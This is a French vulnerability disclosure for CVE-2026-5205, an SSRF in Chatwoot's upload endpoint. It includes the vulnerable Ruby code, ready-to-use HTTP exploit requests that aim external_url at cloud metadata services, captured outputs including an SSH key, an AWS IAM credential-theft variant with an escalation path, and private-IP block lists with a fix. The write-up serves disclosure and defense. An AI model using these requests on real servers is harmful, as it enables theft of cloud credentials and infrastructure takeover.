CVE-2026-5205 : SSRF critique dans les uploads de Chatwoot
Analyse approfondie d'une vulnérabilité critique de falsification de requête côté serveur (SSRF) dans le endpoint d'upload de Chatwoot (≤ v4.12.1). Le endpoint /api/v1/accounts/:id/upload accepte un paramètre external_url validé uniquement par une vérification du schéma, ce qui permet à n'importe quel agent authentifié de forcer le serveur à récupérer des URL internes arbitraires. Le corps complet de la réponse est renvoyé directement via les blobs ActiveStorage, ce qui transforme le endpoint d'upload en proxy de lecture complet. Une exploitation réelle sur un droplet DigitalOcean a confirmé l'exfiltration directe de métadonnées cloud, dont l'identifiant du droplet, le nom d'hôte, les clés publiques SSH et les ensembles complets de métadonnées. Corrigée dans la v4.13.0.
CVE-2026-5205
Chatwoot : SSRF critique dans /api/v1/accounts/:id/upload
26 mars 2026 · CWE-918 · Chatwoot ≤ v4.12.1
| Champ | Détails |
|---|---|
| Faiblesse | CWE-918 : Server-Side Request Forgery |
| Sévérité | Élevée |
| Versions affectées | Chatwoot ≤ v4.12.1 |
| Corrigée dans | v4.13.0 |
| Authentification | Agent (rôle le moins privilégié) |
| Composant affecté | app/controllers/api/v1/accounts/upload_controller.rb |
L'histoire
Tout a commencé par un endpoint d'upload et un paramètre auquel il ne fallait pas faire confiance.
Chez Ostorlab, j'examinais le code de Chatwoot, la plateforme open source d'engagement client qui se positionne comme une alternative à Intercom. En suivant les flux de données dans l'application, je suis tombé sur le contrôleur d'upload. Le endpoint /api/v1/accounts/:id/upload accepte un paramètre external_url : vous lui donnez une URL, et le serveur récupère la ressource, la stocke sous forme de blob ActiveStorage et vous renvoie un file_url pour télécharger le résultat.
La question s'est immédiatement posée : qu'est-ce qui l'empêche de récupérer http://169.254.169.254/?
La réponse : rien. Une seule fonction, validate_uri, se tenait entre l'entrée utilisateur et une requête HTTP sortante. Elle vérifiait le schéma de l'URL. C'est tout. Aucune validation du nom d'hôte. Aucun blocage de plages d'adresses IP. Aucune protection contre le DNS rebinding. Le serveur récupérait volontiers n'importe quelle URL http:// ou https:// pour stocker la réponse et la renvoyer à l'appelant.
Et contrairement aux vulnérabilités SSRF aveugles, où l'attaquant doit déduire la réponse par des canaux auxiliaires, celle-ci renvoie le corps complet de la réponse directement via le blob ActiveStorage. Pas d'exfiltration hors bande nécessaire. Pas d'attaques par mesure du temps de réponse. Le serveur récupère, stocke et vous remet les données sur un plateau d'argent.
J'ai déployé une image chatwoot/chatwoot:latest non modifiée sur un droplet DigitalOcean et confirmé toute la chaîne d'exploitation : six requêtes consécutives vers le service de métadonnées, chacune renvoyant de vraies données d'infrastructure via l'URL du blob. L'identifiant du droplet. Le nom d'hôte. L'adresse IP publique. Les clés publiques SSH. L'ensemble complet des métadonnées au format JSON. Le tout lisible avec une simple requête GET.
La vulnérabilité a été soumise à l'équipe de sécurité de Chatwoot via un GitHub Security Advisory. Celle-ci a confirmé que le problème avait déjà été signalé et corrigé dans la v4.13.0. Cet article documente la vulnérabilité telle que je l'ai trouvée : le code vulnérable, la chaîne d'exploitation et la preuve en conditions réelles sur une infrastructure réelle.
La vulnérabilité : SSRF via le paramètre external_url (CVE-2026-5205)
Le point d'entrée dangereux (sink)
Le endpoint d'upload de Chatwoot, /api/v1/accounts/:id/upload, accepte un paramètre external_url. Le serveur récupère l'URL côté serveur avec open-uri de Ruby, stocke le corps de la réponse sous forme de blob ActiveStorage et renvoie directement l'URL du blob à l'appelant. L'attaquant peut alors suivre le file_url pour lire la réponse brute du serveur distant : une exfiltration directe et complète.
Suivre le flux de données
Le code vulnérable se trouve dans app/controllers/api/v1/accounts/upload_controller.rb :
def validate_uri(uri)
raise URI::InvalidURIError unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
end
def fetch_and_process_file_from_uri(uri)
uri.open do |file| # open-uri fetches ANY http(s) URL incl. 169.254.169.254
create_and_save_blob(file, File.basename(uri.path), file.content_type)
end
end
C'est tout. validate_uri vérifie que l'URL utilise http:// ou https:// — et rien d'autre. Aucune validation du nom d'hôte. Aucun contrôle des plages d'adresses IP. Aucune liste d'autorisation. http://169.254.169.254/metadata/v1/id passe cette vérification sans même un second regard.
uri.open (de open-uri) effectue une véritable requête HTTP GET vers n'importe quelle URL qui passe la vérification du schéma. La réponse est consommée par create_and_save_blob, qui stocke le corps brut sous forme de blob ActiveStorage. Le file_url du blob est renvoyé dans la réponse JSON, ce qui donne à l'attaquant un accès direct au corps complet de la réponse du serveur distant.
Le serveur répond avec :
{ "file_url": "...", "blob_id": "..." }
Suivre file_url renvoie le corps brut de la réponse distante. C'est tout le canal d'exfiltration, intégré au flux de réponse normal de l'application.
L'ironie : le code Enterprise est protégé, pas le cœur
L'ironie est cruelle. L'édition Enterprise de Chatwoot contient déjà une véritable protection contre la SSRF dans enterprise/lib/captain/tools/http_tool.rb :
PRIVATE_IP_RANGES = [
IPAddr.new('127.0.0.0/8'), # IPv4 Loopback
IPAddr.new('10.0.0.0/8'), # IPv4 Private network
IPAddr.new('172.16.0.0/12'), # IPv4 Private network
IPAddr.new('192.168.0.0/16'), # IPv4 Private network
IPAddr.new('169.254.0.0/16'), # IPv4 Link-local (cloud metadata)
IPAddr.new('::1'), # IPv6 Loopback
IPAddr.new('fc00::/7'), # IPv6 Unique local addresses
IPAddr.new('fe80::/10') # IPv6 Link-local
].freeze
def check_private_ip!(hostname)
ip_address = IPAddr.new(Resolv.getaddress(hostname))
raise 'Request blocked: hostname resolves to private IP address' if
PRIVATE_IP_RANGES.any? { |range| range.include?(ip_address) }
end
Couverture complète des adresses IP privées. Résolution DNS avant la vérification. Exactement ce dont validate_uri avait besoin. Mais cette protection était confinée au module d'outils d'IA Enterprise, et n'a jamais été appliquée au contrôleur d'upload, laissant le chemin de téléchargement external_url grand ouvert.
Le correctif se trouvait dans la même base de code. Il n'était simplement pas branché.
Exploitation réelle : droplet DigitalOcean
J'ai testé cette vulnérabilité sur un déploiement chatwoot/chatwoot:latest non modifié, sur un droplet DigitalOcean. Aucune configuration particulière, aucun paramètre modifié : uniquement le docker-compose.production.yaml par défaut. Les résultats parlent d'eux-mêmes.
Environnement de test
| Propriété | Valeur |
|---|---|
| Fournisseur | DigitalOcean |
| Région | lon1 |
| ID du droplet | 552923997 |
| Nom d'hôte | ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01 |
| IP publique | 167.99.195.252 |
| Image | chatwoot/chatwoot:latest (docker-compose.production.yaml par défaut) |
| Attaquant | agent@acme.test (rôle 0 : agent, non administrateur) |
Étape 1 : s'authentifier avec l'agent le moins privilégié
POST /auth/sign_in HTTP/1.1
Content-Type: application/json
{"email":"agent@acme.test","password":"Password1!"}
En-têtes de la réponse capturés :
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
L'attaquant n'a pas besoin d'un accès administrateur. Le rôle d'agent, le moins privilégié, suffit pour atteindre le endpoint d'upload.
Étape 2 : envoyer des requêtes SSRF au service de métadonnées de DigitalOcean
Les six requêtes utilisent le même modèle authentifié :
POST /api/v1/accounts/1/upload HTTP/1.1
Host: 167.99.195.252:3000
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data
external_url=<TARGET>
Le serveur répond avec { "file_url": "...", "blob_id": "..." }. Suivre file_url renvoie le corps brut de la réponse distante : la réponse complète du service de métadonnées.
Résultats : six requêtes consécutives d'exfiltration de métadonnées
| # | Cible external_url |
Corps du blob renvoyé |
|---|---|---|
| 1 | http://169.254.169.254/metadata/v1/id |
552923997 |
| 2 | http://169.254.169.254/metadata/v1/hostname |
ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01 |
| 3 | http://169.254.169.254/metadata/v1/region |
lon1 |
| 4 | http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address |
167.99.195.252 |
| 5 | http://169.254.169.254/metadata/v1/public-keys |
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDGORTi7ekb1WsK+3qrDp4IKdaRt/OoAVf0SNSAGuMGd soop@soop |
| 6 | http://169.254.169.254/metadata/v1.json |
Ensemble complet des métadonnées DO (droplet_id, vendor_data cloud-init, public_keys, interfaces, dns, …) |
Chaque réponse, qu'il s'agisse de l'identifiant du droplet, du nom d'hôte, de l'adresse IP publique, de la clé publique SSH ou du JSON complet des métadonnées, est revenue via le blob ActiveStorage, lisible par l'attaquant avec un simple GET sur le file_url.
Exemple complet de requête et de réponse : exfiltration de l'identifiant du droplet
Requête :
POST /api/v1/accounts/1/upload HTTP/1.1
Host: 167.99.195.252:3000
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data
external_url=http://169.254.169.254/metadata/v1/id
Réponse :
{
"file_url": "http://167.99.195.252:3000/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368/id",
"blob_id": "eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368"
}
Récupération du file_url :
552923997
L'identifiant du droplet, confirmé dans le panneau de contrôle de DigitalOcean. Des données réelles, exfiltrées directement, depuis une installation Chatwoot par défaut.
Escalade : de la SSRF à la prise de contrôle d'un compte cloud
AWS IMDSv1 : le pire scénario
Sur les instances hébergées sur AWS EC2, ECS, Lambda ou Elastic Beanstalk avec IMDSv1, cette SSRF devient une voie directe vers la prise de contrôle complète du compte cloud :
POST /api/v1/accounts/1/upload HTTP/1.1
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data
external_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
Le service de métadonnées renvoie les identifiants IAM complets et, comme la SSRF de l'upload renvoie directement le corps complet de la réponse, l'attaquant les lit directement depuis le file_url :
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "AQoXnyc4lcK4w...",
"Expiration": "2026-04-01T00:00:00Z"
}
La suite de l'escalade :
SSRF → AWS IMDSv1 credentials
→ Attacker has AWS IAM role keys
→ Role has S3/EC2/Lambda/ECS permissions
→ Deploy backdoor Lambda / modify EC2 user data
→ Full RCE on cloud infrastructure
Impact
| Scénario | Impact |
|---|---|
| AWS IMDSv1 (sans limite de sauts) | Critique : vol des identifiants du rôle IAM, prise de contrôle complète du compte AWS |
| API de métadonnées GCP | Critique : vol des jetons OAuth du compte de service |
| Azure IMDS | Critique : vol des jetons d'identité managée |
| Métadonnées DigitalOcean | Élevé : vol de jetons cloud, de clés SSH et de données utilisateur |
| Pivot sur le réseau interne | Élevé : attaque de Redis, des interfaces d'administration Postgres, de Sidekiq Web, de l'API K8s et des microservices internes |
| Exfiltration de secrets | Élevé : lecture des endpoints internes de debug et de santé |
| Élévation de privilèges | Élevé : les identifiants cloud volés donnent accès à bien plus que Chatwoot |
Le correctif de la CVE-2026-5205
La vulnérabilité a été corrigée dans Chatwoot v4.13.0. L'avis de référence est suivi sous GHSA-6fj9-gj7h-q2hf.
Approche recommandée : valider l'IP résolue avant la récupération
Le correctif devrait valider l'adresse IP résolue par rapport aux plages privées avant que open-uri n'effectue la requête :
require 'resolv'
PRIVATE_IP_PATTERNS = [
/\A127\./, /\A10\./, /\A172\.(1[6-9]|2\d|3[01])\./,
/\A192\.168\./, /\A169\.254\./, /\Afc00:/i, /\Afe80:/i
].freeze
def validate_uri(uri)
raise URI::InvalidURIError unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
resolved = Resolv.getaddress(uri.host) rescue nil
raise URI::InvalidURIError, 'SSRF: internal host blocked' if resolved && PRIVATE_IP_PATTERNS.any? { |p| p.match?(resolved) }
end
Atténuation côté cloud : activer IMDSv2
Sur AWS, imposez IMDSv2, qui exige un PUT avec un en-tête de jeton que open-uri ne peut pas forger :
aws ec2 modify-instance-metadata-options \
--instance-id i-xxxx \
--http-tokens required \
--http-put-response-hop-limit 1
Il s'agit d'une mesure d'atténuation, pas d'un correctif : l'accès aux services internes reste possible, quel que soit IMDSv2.
Chronologie
| Date | Événement |
|---|---|
| 2026-03-26 | Vulnérabilité découverte lors d'une revue de code source |
| 2026-03-26 | Confirmée par une exploitation réelle sur un droplet DigitalOcean (v4.12.1) |
| 2026-03-26 | Rapport soumis via GitHub Security Advisory |
| 2026-04-22 | L'équipe Chatwoot a confirmé que le problème avait déjà été signalé et corrigé dans la v4.13.0 |
| 2026-04-22 | Avis clôturé : suivi de référence sous GHSA-6fj9-gj7h-q2hf |
Références
| Ressource | Lien |
|---|---|
| Avis de référence | GHSA-6fj9-gj7h-q2hf |
| CWE-918 : Server-Side Request Forgery | https://cwe.mitre.org/data/definitions/918.html |
| OWASP SSRF Prevention Cheat Sheet | https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html |
| AWS IMDSv1 Exploitation | https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html |
| Chatwoot Security Reporting Guidelines | https://developers.chatwoot.com/contributing-guide/security-reports |